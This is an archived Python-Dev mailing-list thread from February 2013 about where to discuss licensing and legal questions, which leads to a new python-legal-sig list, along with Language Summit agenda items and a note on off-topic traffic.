> I don't think it's fundamentally wrong to scrutinize licenses, provided
> that the discussion stays civil and factual.
> 
> IIRC Debian has such a list because people got annoyed with the traffic
> on other lists.
> 
> 
> Stefan Krah
> 
> 

We have one: psf at python.org



> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/jnoller%40gmail.com

From solipsis at pitrou.net  Thu Feb 28 12:55:05 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 28 Feb 2013 12:55:05 +0100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
Message-ID: <20130228125505.2a380773@pitrou.net>

Le Thu, 28 Feb 2013 06:48:24 -0500,
Jesse Noller <jnoller at gmail.com> a ?crit :
> > 
> > Perhaps it's an idea to have a python-legal mailing list for these
> > topics?
> > 
> > I don't think it's fundamentally wrong to scrutinize licenses,
> > provided that the discussion stays civil and factual.
> > 
> > IIRC Debian has such a list because people got annoyed with the
> > traffic on other lists.
> > 
> > 
> > Stefan Krah
> > 
> > 
> 
> We have one: psf at python.org

That's not exactly a public mailing-list.

Regards

Antoine.



From jnoller at gmail.com  Thu Feb 28 12:57:36 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 28 Feb 2013 06:57:36 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130228125505.2a380773@pitrou.net>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
Message-ID: <E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>



On Feb 28, 2013, at 6:55 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:

> Le Thu, 28 Feb 2013 06:48:24 -0500,
> Jesse Noller <jnoller at gmail.com> a ?crit :
>>> 
>>> Perhaps it's an idea to have a python-legal mailing list for these
>>> topics?
>>> 
>>> I don't think it's fundamentally wrong to scrutinize licenses,
>>> provided that the discussion stays civil and factual.
>>> 
>>> IIRC Debian has such a list because people got annoyed with the
>>> traffic on other lists.
>>> 
>>> 
>>> Stefan Krah
>> 
>> We have one: psf at python.org
> 
> That's not exactly a public mailing-list.
> 
> Regards
> 
> Antoine.
> 

Nope. But it's also where lawyers flock and these issues can rapidly be resolved.


> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/jnoller%40gmail.com

From solipsis at pitrou.net  Thu Feb 28 13:23:50 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 28 Feb 2013 13:23:50 +0100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
Message-ID: <20130228132350.05218efc@pitrou.net>

Le Thu, 28 Feb 2013 06:57:36 -0500,
Jesse Noller <jnoller at gmail.com> a ?crit :
> 
> On Feb 28, 2013, at 6:55 AM, Antoine Pitrou <solipsis at pitrou.net>
> wrote:
> 
> > Le Thu, 28 Feb 2013 06:48:24 -0500,
> > Jesse Noller <jnoller at gmail.com> a ?crit :
> >>> 
> >>> Perhaps it's an idea to have a python-legal mailing list for these
> >>> topics?
> >>> 
> >>> I don't think it's fundamentally wrong to scrutinize licenses,
> >>> provided that the discussion stays civil and factual.
> >>> 
> >>> IIRC Debian has such a list because people got annoyed with the
> >>> traffic on other lists.
> >>> 
> >>> 
> >>> Stefan Krah
> >> 
> >> We have one: psf at python.org
> > 
> > That's not exactly a public mailing-list.
> > 
> > Regards
> > 
> > Antoine.
> > 
> 
> Nope. But it's also where lawyers flock and these issues can rapidly
> be resolved.

Really? I didn't know lawyers flocked at the PSF. It also doesn't
provide any public feedback for said "resolution", meaning it doesn't
help alleviate any future discussions about legal issues.

Regards

Antoine.



From stefan at bytereef.org  Thu Feb 28 13:26:37 2013
From: stefan at bytereef.org (Stefan Krah)
Date: Thu, 28 Feb 2013 13:26:37 +0100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
Message-ID: <20130228122637.GA2960@sleipnir.bytereef.org>

Jesse Noller <jnoller at gmail.com> wrote:
> >> We have one: psf at python.org
> > 
> > That's not exactly a public mailing-list.
> 
> Nope. But it's also where lawyers flock and these issues can rapidly be resolved.

If the list isn't publicly archived, the same questions will arise over
and over again (probably on python-dev).

Why would it help to resolve such an issue (if it is an issue at all!)
for a single person on a private mailing list?



Stefan Krah




From jnoller at gmail.com  Thu Feb 28 13:31:14 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 28 Feb 2013 07:31:14 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130228132350.05218efc@pitrou.net>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
	<20130228132350.05218efc@pitrou.net>
Message-ID: <ED2A088F-D109-4446-BB02-38BD81029FA2@gmail.com>



On Feb 28, 2013, at 7:23 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:

> Le Thu, 28 Feb 2013 06:57:36 -0500,
> Jesse Noller <jnoller at gmail.com> a ?crit :
>> 
>> On Feb 28, 2013, at 6:55 AM, Antoine Pitrou <solipsis at pitrou.net>
>> wrote:
>> 
>>> Le Thu, 28 Feb 2013 06:48:24 -0500,
>>> Jesse Noller <jnoller at gmail.com> a ?crit :
>>>>> 
>>>>> Perhaps it's an idea to have a python-legal mailing list for these
>>>>> topics?
>>>>> 
>>>>> I don't think it's fundamentally wrong to scrutinize licenses,
>>>>> provided that the discussion stays civil and factual.
>>>>> 
>>>>> IIRC Debian has such a list because people got annoyed with the
>>>>> traffic on other lists.
>>>>> 
>>>>> 
>>>>> Stefan Krah
>>>> 
>>>> We have one: psf at python.org
>>> 
>>> That's not exactly a public mailing-list.
>>> 
>>> Regards
>>> 
>>> Antoine.
>> 
>> Nope. But it's also where lawyers flock and these issues can rapidly
>> be resolved.
> 
> Really? I didn't know lawyers flocked at the PSF. It also doesn't
> provide any public feedback for said "resolution", meaning it doesn't
> help alleviate any future discussions about legal issues.
> 
> Regards
> 
> Antoine.
> 


Yes sir. Ill have a new mailing list made today. I will note on the list page that is is strictly unofficial and all legal / lawyer type things must be sent to psf at python.org for official decisions or legal counsel.


> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/jnoller%40gmail.com

From jnoller at gmail.com  Thu Feb 28 13:51:48 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 28 Feb 2013 07:51:48 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <ED2A088F-D109-4446-BB02-38BD81029FA2@gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
	<20130228132350.05218efc@pitrou.net>
	<ED2A088F-D109-4446-BB02-38BD81029FA2@gmail.com>
Message-ID: <5E04F63C-B0CC-4C77-AF99-07BA91D933BB@gmail.com>



On Feb 28, 2013, at 7:31 AM, Jesse Noller <jnoller at gmail.com> wrote:

> 
> 
> On Feb 28, 2013, at 7:23 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> 
>> Le Thu, 28 Feb 2013 06:57:36 -0500,
>> Jesse Noller <jnoller at gmail.com> a ?crit :
>>> 
>>> On Feb 28, 2013, at 6:55 AM, Antoine Pitrou <solipsis at pitrou.net>
>>> wrote:
>>> 
>>>> Le Thu, 28 Feb 2013 06:48:24 -0500,
>>>> Jesse Noller <jnoller at gmail.com> a ?crit :
>>>>>> 
>>>>>> Perhaps it's an idea to have a python-legal mailing list for these
>>>>>> topics?
>>>>>> 
>>>>>> I don't think it's fundamentally wrong to scrutinize licenses,
>>>>>> provided that the discussion stays civil and factual.
>>>>>> 
>>>>>> IIRC Debian has such a list because people got annoyed with the
>>>>>> traffic on other lists.
>>>>>> 
>>>>>> 
>>>>>> Stefan Krah
>>>>> 
>>>>> We have one: psf at python.org
>>>> 
>>>> That's not exactly a public mailing-list.
>>>> 
>>>> Regards
>>>> 
>>>> Antoine.
>>> 
>>> Nope. But it's also where lawyers flock and these issues can rapidly
>>> be resolved.
>> 
>> Really? I didn't know lawyers flocked at the PSF. It also doesn't
>> provide any public feedback for said "resolution", meaning it doesn't
>> help alleviate any future discussions about legal issues.
>> 
>> Regards
>> 
>> Antoine.
> 
> 
> Yes sir. Ill have a new mailing list made today. I will note on the list page that is is strictly unofficial and all legal / lawyer type things must be sent to psf at python.org for official decisions or legal counsel.
> 
> 

Spent a minute driving to request the new list. Will notify when it's up


>> 
>> _______________________________________________
>> Python-Dev mailing list
>> Python-Dev at python.org
>> http://mail.python.org/mailman/listinfo/python-dev
>> Unsubscribe: http://mail.python.org/mailman/options/python-dev/jnoller%40gmail.com

From stephen at xemacs.org  Thu Feb 28 14:03:34 2013
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Thu, 28 Feb 2013 22:03:34 +0900
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130228122637.GA2960@sleipnir.bytereef.org>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
	<20130228122637.GA2960@sleipnir.bytereef.org>
Message-ID: <87wqtsk2u1.fsf@uwakimon.sk.tsukuba.ac.jp>

Stefan Krah writes:

 > Why would [the PSF list] help to resolve such an issue (if it is an
 > issue at all!)

Precisely.

If there *is* a compliance problem, there's nothing to be done before
talking to the lawyers.  Although license *choice* is primarily a
political issue, *compliance* is technical.


From jnoller at gmail.com  Thu Feb 28 14:08:25 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 28 Feb 2013 08:08:25 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <87wqtsk2u1.fsf@uwakimon.sk.tsukuba.ac.jp>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
	<20130228122637.GA2960@sleipnir.bytereef.org>
	<87wqtsk2u1.fsf@uwakimon.sk.tsukuba.ac.jp>
Message-ID: <6EB35E22-AFA9-42EF-AED6-BE27E5E65416@gmail.com>



On Feb 28, 2013, at 8:03 AM, "Stephen J. Turnbull" <stephen at xemacs.org> wrote:

> Stefan Krah writes:
> 
>> Why would [the PSF list] help to resolve such an issue (if it is an
>> issue at all!)
> 
> Precisely.
> 
> If there *is* a compliance problem, there's nothing to be done before
> talking to the lawyers.  Although license *choice* is primarily a
> political issue, *compliance* is technical.
> 

And the board is legally bound to ensure compliance. I know, I've gotten the email requests clarifying copyright assignments.

That being said, I requested a mailing list where this can all be hotly debated and will let everyone know when the playground is open.


> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/jnoller%40gmail.com

From steve at pearwood.info  Thu Feb 28 14:21:48 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Fri, 01 Mar 2013 00:21:48 +1100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130228122637.GA2960@sleipnir.bytereef.org>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
	<20130228122637.GA2960@sleipnir.bytereef.org>
Message-ID: <512F59EC.3010906@pearwood.info>

On 28/02/13 23:26, Stefan Krah wrote:
> Jesse Noller <jnoller at gmail.com> wrote:
>>>> We have one: psf at python.org
>>>
>>> That's not exactly a public mailing-list.
>>
>> Nope. But it's also where lawyers flock and these issues can rapidly be resolved.
>
> If the list isn't publicly archived, the same questions will arise over
> and over again (probably on python-dev).
>
> Why would it help to resolve such an issue (if it is an issue at all!)
> for a single person on a private mailing list?

Because we can ask somebody on the PSF to commit to replying here with the
resolution:

- "No, we have legal advice that we are not violating the Apache license,
   and here's why..."

- "Yes, we are violating the license, and this is what we are going to do
   to fix it..."



The question of whether or not the PSF is violating the Apache license in
some way is not one that is helped by having arbitrary people give their
uninformed opinions. I sympathize with curious people wanting to see what's
going on, but really, this is not a question to be debated and argued by
amateurs and non-lawyers. The PSF has a tame lawyer for exactly these sorts
of matters, and we should let him do his job.

In any case, until Anatoly replies with details, this counts as nothing
more than an unsubstantiated, vague accusation. Over to you Anatoly...



-- 
Steven

From solipsis at pitrou.net  Thu Feb 28 14:37:32 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 28 Feb 2013 14:37:32 +0100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
	<20130228122637.GA2960@sleipnir.bytereef.org>
	<512F59EC.3010906@pearwood.info>
Message-ID: <20130228143732.47fa74ae@pitrou.net>

Le Fri, 01 Mar 2013 00:21:48 +1100,
Steven D'Aprano <steve at pearwood.info> a ?crit :
> 
> The question of whether or not the PSF is violating the Apache
> license in some way is not one that is helped by having arbitrary
> people give their uninformed opinions. I sympathize with curious
> people wanting to see what's going on, but really, this is not a
> question to be debated and argued by amateurs and non-lawyers.

Similarly, programming questions are not to be debated by amateurs and
non-programmers. We should just close python-dev.

Regards

Antoine.



From brett at python.org  Thu Feb 28 14:49:46 2013
From: brett at python.org (Brett Cannon)
Date: Thu, 28 Feb 2013 08:49:46 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <F0ECF91B-5E2A-4114-9423-A7A50A7FA0F1@voidspace.org.uk>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<kgn1dd$88j$1@ger.gmane.org>
	<F0ECF91B-5E2A-4114-9423-A7A50A7FA0F1@voidspace.org.uk>
Message-ID: <CAP1=2W6PpZEmjeoYSxjFLURqwPZwnmoOsXS+w5Wq3g4yhY676Q@mail.gmail.com>

On Thu, Feb 28, 2013 at 6:34 AM, Michael Foord <fuzzyman at voidspace.org.uk>wrote:

>
> On 28 Feb 2013, at 07:36, Georg Brandl <g.brandl at gmx.net> wrote:
>
> > Am 27.02.2013 17:51, schrieb Michael Foord:
> >> Hello all,
> >>
> >> PyCon, and the Python Language Summit, is nearly upon us. We have a
> good number of people confirmed to attend. If you are intending to come to
> the language summit but haven't let me know please do so.
> >>
> >> The agenda of topics for discussion so far includes the following:
> >>
> >> * A report on pypy status - Maciej and Armin
> >> * Jython and IronPython status reports - Dino / Frank
> >> * Packaging (Doug Hellmann and Monty Taylor at least)
> >> * Cleaning up interpreter initialisation (both in hopes of finding areas
> >>  to rationalise and hence speed things up, as well as making things
> >>  more embedding friendly). Nick Coghlan
> >> * Adding new async capabilities to the standard library (Guido)
> >> * cffi and the standard library - Maciej
> >> * flufl.enum and the standard library - Barry Warsaw
> >> * The argument clinic - Larry Hastings
> >>
> >> If you have other items you'd like to discuss please let me know and I
> can add them to the agenda.
> >
> > May I in absentia propose at least a short discussion of the XML fixes
> > and accompanying security releases?  FWIW, for 3.2 and 3.3 I have no
> > objections to secure-by-default.
> >
>
> Sure. It would be good if someone who *will* be there can champion the
> discussion.


While Christian is in the best position to discuss this, I did review his
various monkeypatch fixes + expat patches so I can attempt to answer any
questions people may have.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130228/5da5038d/attachment.html>

From benjamin at python.org  Thu Feb 28 14:53:41 2013
From: benjamin at python.org (Benjamin Peterson)
Date: Thu, 28 Feb 2013 08:53:41 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <CAP1=2W6PpZEmjeoYSxjFLURqwPZwnmoOsXS+w5Wq3g4yhY676Q@mail.gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<kgn1dd$88j$1@ger.gmane.org>
	<F0ECF91B-5E2A-4114-9423-A7A50A7FA0F1@voidspace.org.uk>
	<CAP1=2W6PpZEmjeoYSxjFLURqwPZwnmoOsXS+w5Wq3g4yhY676Q@mail.gmail.com>
Message-ID: <CAPZV6o-CT=d3GE6mb=qmvz4RtxEO6vPuZttLvfvDAzsYEtr1hg@mail.gmail.com>

2013/2/28 Brett Cannon <brett at python.org>:
>
>
>
> On Thu, Feb 28, 2013 at 6:34 AM, Michael Foord <fuzzyman at voidspace.org.uk>
> wrote:
>>
>>
>> On 28 Feb 2013, at 07:36, Georg Brandl <g.brandl at gmx.net> wrote:
>>
>> > Am 27.02.2013 17:51, schrieb Michael Foord:
>> >> Hello all,
>> >>
>> >> PyCon, and the Python Language Summit, is nearly upon us. We have a
>> >> good number of people confirmed to attend. If you are intending to come to
>> >> the language summit but haven't let me know please do so.
>> >>
>> >> The agenda of topics for discussion so far includes the following:
>> >>
>> >> * A report on pypy status - Maciej and Armin
>> >> * Jython and IronPython status reports - Dino / Frank
>> >> * Packaging (Doug Hellmann and Monty Taylor at least)
>> >> * Cleaning up interpreter initialisation (both in hopes of finding
>> >> areas
>> >>  to rationalise and hence speed things up, as well as making things
>> >>  more embedding friendly). Nick Coghlan
>> >> * Adding new async capabilities to the standard library (Guido)
>> >> * cffi and the standard library - Maciej
>> >> * flufl.enum and the standard library - Barry Warsaw
>> >> * The argument clinic - Larry Hastings
>> >>
>> >> If you have other items you'd like to discuss please let me know and I
>> >> can add them to the agenda.
>> >
>> > May I in absentia propose at least a short discussion of the XML fixes
>> > and accompanying security releases?  FWIW, for 3.2 and 3.3 I have no
>> > objections to secure-by-default.
>> >
>>
>> Sure. It would be good if someone who *will* be there can champion the
>> discussion.
>
>
> While Christian is in the best position to discuss this, I did review his
> various monkeypatch fixes + expat patches so I can attempt to answer any
> questions people may have.

How close are they to being applied?


-- 
Regards,
Benjamin

From brett at python.org  Thu Feb 28 14:57:14 2013
From: brett at python.org (Brett Cannon)
Date: Thu, 28 Feb 2013 08:57:14 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <CAPZV6o-CT=d3GE6mb=qmvz4RtxEO6vPuZttLvfvDAzsYEtr1hg@mail.gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<kgn1dd$88j$1@ger.gmane.org>
	<F0ECF91B-5E2A-4114-9423-A7A50A7FA0F1@voidspace.org.uk>
	<CAP1=2W6PpZEmjeoYSxjFLURqwPZwnmoOsXS+w5Wq3g4yhY676Q@mail.gmail.com>
	<CAPZV6o-CT=d3GE6mb=qmvz4RtxEO6vPuZttLvfvDAzsYEtr1hg@mail.gmail.com>
Message-ID: <CAP1=2W4c1Ng-eFQDFwzkZHLKi2zbGEKLtBfMqMFv3YB2H+u2jw@mail.gmail.com>

On Thu, Feb 28, 2013 at 8:53 AM, Benjamin Peterson <benjamin at python.org>wrote:

> 2013/2/28 Brett Cannon <brett at python.org>:
> >
> >
> >
> > On Thu, Feb 28, 2013 at 6:34 AM, Michael Foord <
> fuzzyman at voidspace.org.uk>
> > wrote:
> >>
> >>
> >> On 28 Feb 2013, at 07:36, Georg Brandl <g.brandl at gmx.net> wrote:
> >>
> >> > Am 27.02.2013 17:51, schrieb Michael Foord:
> >> >> Hello all,
> >> >>
> >> >> PyCon, and the Python Language Summit, is nearly upon us. We have a
> >> >> good number of people confirmed to attend. If you are intending to
> come to
> >> >> the language summit but haven't let me know please do so.
> >> >>
> >> >> The agenda of topics for discussion so far includes the following:
> >> >>
> >> >> * A report on pypy status - Maciej and Armin
> >> >> * Jython and IronPython status reports - Dino / Frank
> >> >> * Packaging (Doug Hellmann and Monty Taylor at least)
> >> >> * Cleaning up interpreter initialisation (both in hopes of finding
> >> >> areas
> >> >>  to rationalise and hence speed things up, as well as making things
> >> >>  more embedding friendly). Nick Coghlan
> >> >> * Adding new async capabilities to the standard library (Guido)
> >> >> * cffi and the standard library - Maciej
> >> >> * flufl.enum and the standard library - Barry Warsaw
> >> >> * The argument clinic - Larry Hastings
> >> >>
> >> >> If you have other items you'd like to discuss please let me know and
> I
> >> >> can add them to the agenda.
> >> >
> >> > May I in absentia propose at least a short discussion of the XML fixes
> >> > and accompanying security releases?  FWIW, for 3.2 and 3.3 I have no
> >> > objections to secure-by-default.
> >> >
> >>
> >> Sure. It would be good if someone who *will* be there can champion the
> >> discussion.
> >
> >
> > While Christian is in the best position to discuss this, I did review his
> > various monkeypatch fixes + expat patches so I can attempt to answer any
> > questions people may have.
>
> How close are they to being applied?
>

I have no idea. Ask Christian. =) I can just answer what the attacks are
and what had to change to protect against them.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130228/2064d5cb/attachment.html>

From solipsis at pitrou.net  Thu Feb 28 15:03:26 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 28 Feb 2013 15:03:26 +0100
Subject: [Python-Dev] High volumes and off topic discussions
References: <CAK5idxQcV=xFefGhoGFBzQoo6YxQTD9TdGmiN6qcp8MrGcWUyA@mail.gmail.com>
Message-ID: <20130228150326.2e7b0944@pitrou.net>

Le Thu, 28 Feb 2013 13:36:10 +0200,
Maciej Fijalkowski <fijall at gmail.com> a ?crit :
> Hi
> 
> I know this is a hard topic, but python-dev is already incredibly
> high-volume and dragging discussion off-topic is making following
> important stuff (while ignoring unimportant stuff) very hard.
> 
> For example in a recent topic "cffi in stdlib" I find a mail that says
> "we have to find a sufficiently silly species of snake". It's even
> funny, but it definitely makes it very hard to follow for those of us
> who don't read python-dev 24/7. Would it be reasonable for python-dev
> to generally try to stay on topic (for example if the thread is called
> "silly species of snakes", I absolutely don't mind people posting
> there whatever they feel like as long as I'm not expected to read
> every single message).

I'm afraid you're trying to devise derogatory distinctions regarding
drifting discussions.

Seriously, yes, I approve of changing the subject line, although I
forgot to do it this time.
For the record, you can also read the list through a NNTP gateway using
Gmane, it can make things easier.

Regards

Antoine.



From jnoller at gmail.com  Thu Feb 28 15:14:32 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 28 Feb 2013 09:14:32 -0500
Subject: [Python-Dev] New mailing list: Python-legal-sig
Message-ID: <244F6FB17C9D4539955A6995ABCC7E69@gmail.com>

See: http://mail.python.org/mailman/listinfo/python-legal-sig 

Open archives. As the header says this is for the discussion of CLA/other issues. If specific legal questions or alterations to Python/the PSF trademarks, CLA/etc are requested those *must* be sent to psf at python.org for board oversight and approval. This is an open discussion list, and is not official legal stance of the foundation, trademarks, etc. 

jesse 



From jnoller at gmail.com  Thu Feb 28 15:16:05 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 28 Feb 2013 09:16:05 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130228122637.GA2960@sleipnir.bytereef.org>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
	<20130228122637.GA2960@sleipnir.bytereef.org>
Message-ID: <6E60016BF5984973A91B755FA21706BE@gmail.com>



On Thursday, February 28, 2013 at 7:26 AM, Stefan Krah wrote:

> Jesse Noller <jnoller at gmail.com (mailto:jnoller at gmail.com)> wrote:
> > > > We have one: psf at python.org (mailto:psf at python.org)
> > > 
> > > 
> > > 
> > > That's not exactly a public mailing-list.
> > 
> > Nope. But it's also where lawyers flock and these issues can rapidly be resolved.
> 
> If the list isn't publicly archived, the same questions will arise over
> and over again (probably on python-dev).
> 
> Why would it help to resolve such an issue (if it is an issue at all!)
> for a single person on a private mailing list?


See: http://mail.python.org/pipermail/python-dev/2013-February/124463.html 



From stefan at bytereef.org  Thu Feb 28 15:45:20 2013
From: stefan at bytereef.org (Stefan Krah)
Date: Thu, 28 Feb 2013 15:45:20 +0100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <512F59EC.3010906@pearwood.info>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
	<20130228122637.GA2960@sleipnir.bytereef.org>
	<512F59EC.3010906@pearwood.info>
Message-ID: <20130228144520.GA3947@sleipnir.bytereef.org>

Steven D'Aprano <steve at pearwood.info> wrote:
> The question of whether or not the PSF is violating the Apache license in
> some way is not one that is helped by having arbitrary people give their
> uninformed opinions.

No one will be preventing lawyers from giving their opinions on python-legal.
